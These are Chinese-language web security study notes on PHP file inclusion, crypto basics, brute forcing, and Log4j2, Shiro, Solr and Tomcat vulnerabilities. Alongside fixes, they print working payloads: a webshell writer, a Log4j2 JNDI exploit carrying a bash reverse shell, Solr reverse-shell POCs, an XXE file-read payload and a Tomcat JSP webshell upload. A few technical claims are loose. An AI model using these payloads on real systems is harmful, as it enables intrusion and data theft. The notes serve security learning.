/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
9.2.5 漏洞修复
过滤".",使用户在url中不能回溯上级目录
正则严格判断用户输入参数的格式
php.ini配置open_basedir限定文件访问范围
9.3 文件包含
9.3.1 成因
开发人员为了使代码更加灵活,将被包含的文件设置为变量,来实现动态调用,如果用户可以控制这个变量且服务器没有做输入校验或校验可被绕过,就导致了开发人员希望以外的文件被包含,造成了文件包含漏洞
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞的存在。
9.3.2 包含漏洞分类
9.3.2.1 本地包含(LFI)
- 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞
9.3.2.2 远程包含(RFI)
- 远程包含 需要allow_url_include=on、magic_quotes_gpc=off 这两个条件在 php.ini 中,此时包含的文件可以是第三方服务器中的文件,这就造成了远程文件包含
9.3.3 文件包含的函数
Include()
- 当使用该函数包含文件时,只有代码执行到include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once()
- 功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()
- require()与include()有区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本运行
require_once()
- 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
highlight_file() / show_source()
- 函数对文件进行语法高亮显示,通常可以看到源代码
readfile() / file_get_contents()
- 函数读取一个文件,并写入到输出缓冲
fopen()
- 打开一个文件或URL
9.3.4 伪协议
9.3.4.1 简介
- PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
9.3.4.2 常用伪协议
通过 file:// 包含
payload
- ?file=file://d:/phpstudy/www/webshell.txt
前提
allow_url-fopen = off/on
allow_url_include = off/on
作用
- 用于访问本地文件系统,通常用于读取本地文件而且不会收到allow_url_fopen和allow_url_include的影响。 在include()/require()/include_once()/require_once()参数可控的情况下,如果导入非.php的文件,则仍按照php语法进行解析,因为这个是include()函数决定的。
data://
条件
allow_url_fopen = on
allow_url_include = on
作用
- 通常可以用来执行PHP代码。 自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。
用法
date://text/plain
data://text/plain;base64
payload
- ?file=data://text/plain,<?php phpinfo()?>
通过 php:// 包含
前提
llow_url_fopen = off/on
llow_url_include 仅php://input 、php://stdin php://memory、 php://temp 需要on
作用
php:// 伪协议有很多用法,常用的就是 php://filter 用于读源码 php://input 用于执行php代码
php://filter
参数简介
resource=<要过滤的数据流>
- 必选项,它指定了你要筛选过滤的数据流
read=<读链的过滤器>
- 可选项,可以设定一个或多个过滤器名称,以管道符隔开
write=<写链的过滤器>
- 可选项,可以设定一个或多个过滤器名称,以管道符隔开
任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于写或读链
转换过滤器: convert.base64-encode base64编码 convert.base64-decode base64解码
payload
- ?file=php://filter/read=convert.base64-encode//resource=./index.php
php://input
此协议需要 allow_url_include = on,可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。 当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST想设置的文件内容,php 执行时会将post内容当做文件内容
payload
- ?file=php://input [post data] <?php phpinfo()?>
用法
输入file=php://input,然后使用bp抓包,写入php代码
- GET /include.php?file=php://input HTTP/1.1 HOST: Accept: <?php fwrite(fopen("shell.php","w"),'<?php eval($_POST(123));?>');?>
发送报文,可以看到本地生成了一句话木马,shell.php
通过 Zip:// & zlib:// 包含
前提
allow_url_fopen = off/on
allow_url_include = off/on
作用
- zip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等
payload
- zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
通过 phar:// 包含
phar://协议与zip://类似,同样可以访问zip格式压缩包内容。
条件
allow_url_fopen = off/on
allow_url_include = off/on
9.3.5 包含漏洞能做什么
9.3.5.1 读文件
有特殊字符一定要转化为base64
- 例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
9.3.5.2 写文件/命令执行
注意:只有在allow urlinclude为on的时候才可以使用,在C:\php\php-5.2.14-Win32下找到php.ini打开,查找disable_functions =proc-open,oppen,exec,system…….删掉system重启apache
- http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:<?php system('net user');?>
9.3.5.3 包含绕过
包含日志文件
- \logs\access.log
截断包含(%00)
- 这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题
不同协议绕过
http/https
File
php
ssh2
9.3.5 防范方法
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
十、加密算法与随机数
10.1 加密算法概述
- 常见的加密算法通常分为 分组加密算法 与 留密码加密算法 两种
10.2 加密算法分类
10.2.1 按加密方式分
10.2.1.1 分组加密算法
基于"分组"(block) 进行操作,根据算法的不同,每个分组的长度可能不同
代表有 DES、3-DES、Blowfish、IDEA、AES等
10.2.1.2 流密码加密算法
每次只处理一个字节,密钥独立于消息之外,两者通过异或实现加密与解密
代表有 RC4、ORYX、SEAL
10.2.2 按密钥是否相同分
10.2.2.1 对称式加密算法
简介
加密和解密用到的密钥是相同的,这种加密方式加密速度非常快,适合经常发送数据的场合。缺点是密钥的传输比较麻烦
从程序的角度看,所谓加密,就是这样一个函数: 它接收密码和明文,然后输出密文: secret = encrypt(key, message); 而解密则相反,它接收密码和密文,然后输出明文: plain = decrypt(key, secret);
代表加密算法
AES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
- 支持的填充模式有:NoPadding/PKCS7Padding/...
DES
支持的工作模式有:ECB/CBC/PCBC/CTR/...
- 支持的填充模式有:NoPadding/PKCS5Padding/PKCS7Padding/...
IDEA
支持的工作模式有:ECB
- 支持的填充模式有:NoPadding/PKCS7Padding/...
10.2.2.2 非对称加密算法
简介
- 加密和解密使用的不是相同的密钥,只有同一个公钥-私钥对才能正常加解密,通常来说公钥进行加密,私钥进行解密。 通常加密解密的速度比较慢,适合偶尔发送数据的场合。优点是密钥传输方便
代表加密算法
RSA 、ECC等
两者的区别
加密和解密过程不同
- 对称加密过程和解密过程使用的同一个密钥,加密过程相当于用原文+密钥可以传输出密文,同时解密过程用密文-密钥可以推导出原文。但非对称加密采用了两个密钥,一般使用公钥进行加密,使用私钥进行解密。
加密解密速度不同
- 对称加密解密的速度比较快,适合数据比较长时的使用。非对称加密和解密花费的时间长、速度相对较慢,只适合对少量数据的使用
传输的安全性不同
- 对称加密的过程中无法确保密钥被安全传递,密文在传输过程中是可能被第三方截获的,如果密码本也被第三方截获,则传输的密码信息将被第三方破获,安全性相对较低。 非对称加密算法中私钥是基于不同的算法生成不同的随机数,私钥通过一定的加密算法推导出公钥,但私钥到公钥的推导过程是单向的,也就是说公钥无法反推导出私钥。所以安全性较高。
10.3 加密模式分类
常见的加密方式有ECB、CBC、CFB、OFB、CTR等
ECB与CBC模式的区别:ECB模式只进行了加密,而CBC模式则在加密前进行了一次XOR
10.3.1 ECB模式
10.3.1.1 介绍
电码簿模式,是最简单的一种加密模式,它将明文分为若干个组(block),每个分组之间相对独立的与key进行加密运算,最后将密文组合起来。
10.3.1.2 攻击方式
但它最大的问题也就出在这种分组的独立性上: 对于ECB模式来说,改变分组密文的顺序,将改变解密后的明文顺序;替换某个分组密文,解密后该对应分组的明文也会被替换,而其他分组不受影响
综上当需要加密的明文多于一个分组的长度时,应该避免使用ECB模式
10.3.2 CBC模式
10.3.2.1 介绍
Cipher Block Chaining 模式(密文分组连接模式),首先将密文分成若干组之后,第一个分组与初始向量(IV)进行XOR运算(异或运算),然后进行加密,下一分组与前一个密文进行XOR运算,然后再进行加密,直至所有分组加密完成
10.3.2.2 应用
确保互联网安全的通信协议之一SSL/TLS,就是使用CBC模式来确保通信机密性的,如使用CBC模式三重DES的3DES_EDE_CBC以及CBC模式256比特AES的AES_256_CBC等
10.3.2.3 注意的地方
向量必须是一个与密钥长度相等的数据
由于在加密前和解密后都会做异或运算,因此我们的明文可以不用补全,不是16个字节的倍数也可以,CBC中会自动用0补全进行异或运算
在解密时是解密后才会再做异或运算,保证数据解密成功
由于自动进行了补全,所以解密出的数据也会在后面补全0,因此获取到数据时,需要将末尾的0去除,或者根据源数据长度来截取解密后的数据
10.4 填充方式
10.4.1 简介
如果明文不是128位(16字节)的则需要填充,即在明文某个地方补充到16个字节整数倍的长度,加解密时需要采用同样的填充方式,否则无法解密成功
10.4.2 NoPadding
不进行填充,但是这里要求明文必须要是16个字节的整数倍,这个可以使用者本身自己去实现填充 除了该种模式以外的其他填充模式,如果已经是16个字节的数据的话,会再填充一个16字节的数据
10.4.3 PKCS5Padding (默认)
在明文的末尾进行填充,填充的数据是当前和16个字节相差的数量 最后一个字节肯定为填充数据的长度,所以在解密后可以准确删除填充的数据
填充前
- 1,2,3,4,5,6,7,8,9,10,11
填充后
- 1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,5
10.4.4 PKCS7Padding
PKCS7和PKCS5的区别就是数据分块的大小(就是这么简单)
PKCS5填充块的大小为8bytes(64位)
PKCS7填充块的大小可以在1-255bytes之间
10.5 常见加密算法
10.5.1 AES
10.5.1.1 简介
- (Advanced Encryption Standard) 高级加密标准,是最常见的对称加密算法。
10.5.1.2 参数的意义
Key length
指的是密钥的长度,一般有 AES128、AES192、AES256 (128,192,256位)
128位对应的是16个字节,所以部分平台库上,会使用16个字符或者长度为16的字符串来做密码。
key
- key指的就是密码了,AES128就是128位的,如果位数不够,某些库可能会自动填充到128
IV(向量)
- IV称为初始向量,不同的IV加密后的字符串是不同的,加密和解密需要相同的IV
mode(加密模式)
- AES分为几种模式,比如ECB,CBC,CFB等等,这些模式除了ECB由于没有使用IV而不太安全,其他模式差别并没有太明显
padding(填充模式)
- 对于加密解密两端需要使用同一的PADDING模式,大部分PADDING模式为PKCS5, PKCS7, NOPADDING
10.6 国密算法
10.6.1 简介
国家密码局认定的国产密码算法。 主要有 SM1,SM2,SM3,SM4。密钥长度和分组长度均为 128 位
SM1:为对称加密,其加密强度与 AES 相当。该算法不公开,调用该算法时,需要通过加密芯片的接口进行调用。
SM2:为非对称加密,基于 ECC。该算法已公开。由于该算法基于 ECC,故其签名速度与秘钥生成速度都快于 RSA。ECC 256位(SM2 采用的就是 ECC 256 位的一种)安全强度比 RSA 2048 位高,但运算速度快于RSA。
SM3:SM3 消息摘要。可以用 MD5 作为对比理解。该算法已公开。校验结果为 256 位。
SM4:SM4 无线局域网标准的分组数据算法。对称加密,密钥长度和分组长度均为128位。
10.6.2 各算法的区别
10.6.2.1 算法类型
非对称加密
摘要算法
对称加密
10.6.2.2 密钥长度
公钥64字节 私钥32字节
16字节
10.6.2.3 输入数据要求
长度小于1374亿字节
无要求
分组长度16字节,需要填充到16字节整数倍。 有CBC和ECB两种模式,CBC需要设定初始值
10.6.2.4 输出数据特征
输出长度是明文长度+96, 有随机数参数,每次密文不同
固定长度,32字节
长度为16字节的整数倍
10.6.3 SM2
SM2与RSA算法的对比
SM2算法和RSA算法都是公钥密码算法,SM2算法与RSA算法不同的是,SM2算法是基于椭圆曲线上点群离散对数难题,相对于RSA算法,256位的SM2密码强度已经比2048位的RSA密码强度要高
通常银行测试 弱加密 时要求使用此算法
10.7 密钥管理
10.7.1 常见问题
密钥管理中最常见的错误,就是将密钥硬编码在代码里。 这个问题一般发生在测试阶段,开发图方便把密钥编码在代码里,在上线时忘记删除了,造成了密钥的泄露
10.7.2 硬编码的泄露途径
代码被广泛传播
这种泄露途径常见于一些开源软件; 有的商业软件并不开源,但编译后的二进制文件被用户下载,也可能被逆向工程反编译后,泄露硬编码的密钥
可以通过 Diffie-Hellman 交换密钥体系,生成公私钥来完成密钥的发放,来解决
密钥可以被所有开发人员接触
软件开发团队的成员都能查看代码,从而获知硬编码的密码。开发团队的成员如果流动性较大,则可能会由此泄露
只能通过改善密钥管理来保护密钥
10.7.3 常见做法
将密钥(包括密码)保存在配置文件或者数据库中,在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限,同时也要确保运维或DBA中具有访问权限的人越少越好
定期更换密钥
一个比较安全的密钥管理系统,可以将所有密钥(包括一些敏感配置文件)都集中保存在一个服务器上,并通过 web service 的方式提供获取密钥的API。每个Web应用在需要使用密钥的时候,通过带认证信息的API请求密钥管理系统,动态获取密钥。 Web 应用不能把密钥写入本地文件中,只加载到内存,这样动态获取密钥最大程度的保护了密钥的私密性。 密钥集中管理,降低了系统对于密钥的耦合性,也有利于定期更换密钥
10.8 暴力破解
10.8.1 明文传输
介绍
- 敏感数据明文传输简单点来说就是当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)即可获取到这些未加密的敏感数据。当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。
利用方法
方法1:通过中间人攻击方式(劫持、嗅探等)获取未加密的敏感数据
方法2:根据web用户登陆页面,直接进行暴力破解用户信息。
防御方法
方法1:使用正规的ca机构颁发的https证书
方法2:采用非对称加密方式(不可逆的加密方式)
10.8.2 暴力破解注意事项
破解前一定要有一个有效的字典 top100 top2000 csdn QQ 163等密码
判断用户是否设置了复杂的密码 主要看注册的时候网站如何要求密码格式
网站是否存在验证码
尝试登录的行为是否有限制
网站是否有双因素认证、Token值等 双因素认证:密码+手机验证码
10.8.3 暴力破解分类
10.8.3.1 C/S 客户端
- Bruter、hydra等
10.8.3.2 B/S 浏览器
基于表单的暴力破解
基于验证码的暴力破解
客户端绕过 on_client 常见问题
不安全的前端js实现验证码
不安全的将验证码在cookie中泄露
不安全的将验证码的前端源代码中泄露
服务端绕过 on_server常见问题
验证码使用后在后台没有被销毁,导致长期使用(php默认session是24分钟过期)
验证码校验不严格,逻辑出现问题
验证码设计的太过简单和有规律的被破解
弱验证码识别攻击
基于Token破解
- 由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般token在防止CSRF上会有比较好的功效
10.8.4 暴力破解安全防范
强制要求输入验证码,否则必须实施IP策略 注意不要被X_Porwaded_For绕过了
验证码只能用一次,用完立即过期,不能再次使用
验证码不要太弱。 扭曲、变形、干扰线条、干扰背景色、变换字体等
大网站最好统一安全验证码,各处使用同一个验证码接口
十一、中间件及组件漏洞
11.1 Apache
11.1.1 RCE 远程代码执行
11.1.1.1 Log4j2远程代码执行漏洞 (2021年12月)
原理
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
最终解释
Log4j2反序列化漏洞主要是由JNDI注入造成的,它的 JNDI 注入漏洞主要存在于 JndiLookup.class 和 jndiManager.class 这两个类中。其中 JndiManager.class 定义了如 lookup() 这种处理 JNDI 相关操作的方法,lookup() 接受用户提供的 JNDI URL 作为了输入参数并返回处理结果。攻击者就可以构造恶意的 JNDI URL,将JNDI引用和待执行的远程代码等信息合并起来,在log4j 解析恶意 URL 时就会触发任意代码执行
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
RMI (Remote Method Invocation) 即远程方法调用,是Java中一种基于对象的分布式程序设计模型。通过RMI机制,可以让客户端应用程序像调用本地方法一样直接调用另外一个JVM上运行的远程对象中公开的方法,而无需了解网络编程、机器地址和具体传输协议的细节,从而使得分布式应用程序的开发变得更加容易。
JNDI URL 是一种特殊的URL格式,它通常用于访问JNDI数据库或其他外部资源。在Log4j2漏洞中,攻击者利用恶意 JNDI URL ,将自己构造的可控对象绑定到了JNDI目录项,从而导致反序列化漏洞。 实例如后方展开
java:comp/env/jdbc/MyDataSource
java: 表示Java命名和目录接口(Java Naming and Directory Interface, JNDI)。
comp/env 表示要查找JNDI上下文的根路径,即Context环境。
jdbc 表示目标资源类型,这里是JDBC数据源。
MyDataSource 表示JNDI名称,即目标资源在JNDI中的名称。
被我淘汰的解释,仅供参考
由于Log4j2 组件在处理程序日志记录是存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
log4j2框架下的 lookup 提供了${} 字段解析的功能,攻击者通过构造的恶意java序列化数据包,在使用日志功能时触发了它的反序列化过程,传入的 payload 被直接解析并执行,从而成功供给系统
漏洞验证(判断是否存在)
靶场vulhub
- 找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数
构造的pyload: cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}
对action参数传参,其中sys:java.version查看目标java版本,deye.io为dnslog地址
ceye.io 是一个检测外带数据的平台
存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号
漏洞复现
需要用到一个GitHub上的工具
- https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104"
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1 例如:bash -i >& /dev/tcp/192.168.0.104/4444 0>&1 然后将其base64编码
参数说明:base64编码反弹shell脚本。-A参数接vps地址
2.利用jndi工具得到注入pyload
- ${jndi:ldap://192.168.0.104:1389/bdy3jf}
3.利用nc监听shell端口
- nc -lvvp 4444
4.发送生产的pyload
- cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell
修复方法
及时升级
- 防范Log4j2反序列化漏洞最简单有效的方法是及时更新到不受影响的Log4j版本 Log4j 2.17.1 版本
紧急缓解措施
移除 JndiLookup 插件:禁用JndiLookup插件可以有效防御反序列化漏洞
移除JMS支持: 如果应用程序不需要JMS支持,则可以将相关组件删除或停用,以避免漏洞利用。具体地,可以将log4j-jms-appender-2.x.x.jar从应用程序中删除或停用JMS相关代码。
11.1.1.2 Shiro-721 高危代码执行漏洞 (2021)
漏洞原理
- 该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
漏洞影响
- 1.2.5 <= shiro <=1.4.2
漏洞指纹
1. set-cookie:rememberMe=deleteMe
2. URL中有shiro字样
利用技巧
1. 该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;
2. 如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
11.1.1.3 solr 远程代码执行漏洞
远程命令执行RCE
solr 简介
- Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
漏洞详情
- CVE-2017-12629 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
漏洞影响
- Apache solr<7.1.0版本
漏洞利用
命令执行
1. 新建一个 listener ,将 "exe" "dir" "args" 内容可以通过 http 的方式传入
- POC: POST /solr/demo/config HTTP/1.1 Host: ip:8983 Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 169 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}
2. 更新一下操作,修改post包,触发前面的命令
- POC: POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}]
反弹 shell
同上,只是传入的命令换了
POC: POST /solr/demo/update HTTP/1.1 Host: your-ip Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 15 [{"id":"test"}] # 即可反弹成功
POC POST /solr/demo/config HTTP/1.1 Host: your-ip Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 158 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
远程命令执行XXE
CVE-2017-12629
漏洞详情
- 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。 请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
影响版本
- Apache solr<7.1.0版本
漏洞利用
1. 在另一台服务器web站点下创建一个.dtd文件
- <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
2. 构造payload后将特殊符号进行url加密
- <?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
3. 最终的payload
- %3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
修复方案
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
未授权上传
CVE-2020-13957
漏洞详情
- 在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。 整个利用链流程: 上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
影响版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
修复方案
- 升级Apache Solr 8.6.2版本以上
反序列化漏洞
Shiro-550 存在java反序列化 (2020)
攻击特征
- 在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段
漏洞影响
- Apache Shiro <= 1.2.4 版本都存在威胁
漏洞原理
漏洞利用的是cookie里的 rememberMe 参数,这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码,然后AES解密,再反序列化,
问题的关键在于,AES加密的密钥就在源代码里边,AES是对称加密,所以加密密钥就是解密密钥。攻击者只要得到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化、AES加密、Base64编码,然后将其作为cookie的 RememberMe 字段发送,Shiro 将 其进行解密并反序列化,最终造成反序列化漏洞
防范方法
1. 升级shiro版本
2. 修改文件中硬编码的密钥
3. 临时防范建议:
a.在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击
b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
c.WAF拦截Cookie中长度过大的rememberMe值
d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
解析漏洞
漏洞成因
- Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别
漏洞利用
- 可用与文件上传绕过,如 test.php.asd.dfs
漏洞修复
- 将AddHandler application/x-httpd-php.php 的配置文件删除
目录遍历
漏洞成因
- 由于配置错误导致的目录遍历
利用方法
- 和文件下载一样的,在存在漏洞的参数那里用 ../../ 即可
漏洞修复
- 修改 apache 配置文件 httpd.conf 找到下面的内容,将Options后面的 + 改成 - 就行了
Options+Indexes+FollowSymlinks+ExecCGI修改成Options-Indexes+FollowSymlinks+ExecCGI并保存
- 修改 apache 配置文件 httpd.conf 找到下面的内容,将Options后面的 + 改成 - 就行了
11.2 Tomcat
Tomcat简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。
重要文件
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet。
tomcat-users.xml:tomcat的用户密码与权限。
任意写文件
漏洞详情
漏洞的本质是 Tomcat 配置了可写 (readonly=false),导致攻击者可以往服务器写文件
虽然 Tomcat 对文件后缀有一定的检测(不能直接写jsp),但是攻击者可以利用一些文件系统的特性(如 Linux 下可用"/") 来绕过限制
影响版本
- Tomcat 7.0.0 - 7.0.79
漏洞利用
访问网站利用 burp 进行抓包,修改为后面的 payload
- PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码 rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal s(pageContext);}%>
利用 Repeater 模块进行发送
直接访问jsp木马所在的网站路径,查看是否上传成功
- http://ip:port/1.jsp
使用冰蝎连接即可
CVE-2020-1938 AJP 文件包含漏洞
漏洞详情
- 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。 此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害
影响版本
- Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x
漏洞利用
利用脚本读取目标网站 web.xml 的源代码
运行命令 python tomcat.py read_file --wabapp=manager /WEB-INF/web.xml 192.168.31.128
弱口令文件上传war包
漏洞详情
- Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。 其中,欲访问后台,需要对应用户有相应权限。
影响版本
- Tomcat8.x,Tomcat7.x
漏洞利用
Tomcat 权限管理
后台管理权限
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
虚拟主机管理
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
在conf/tomcat-users.xml文件中配置用户的权限
在 manager APP 利用弱口令进入后台 tomcat/tomcat
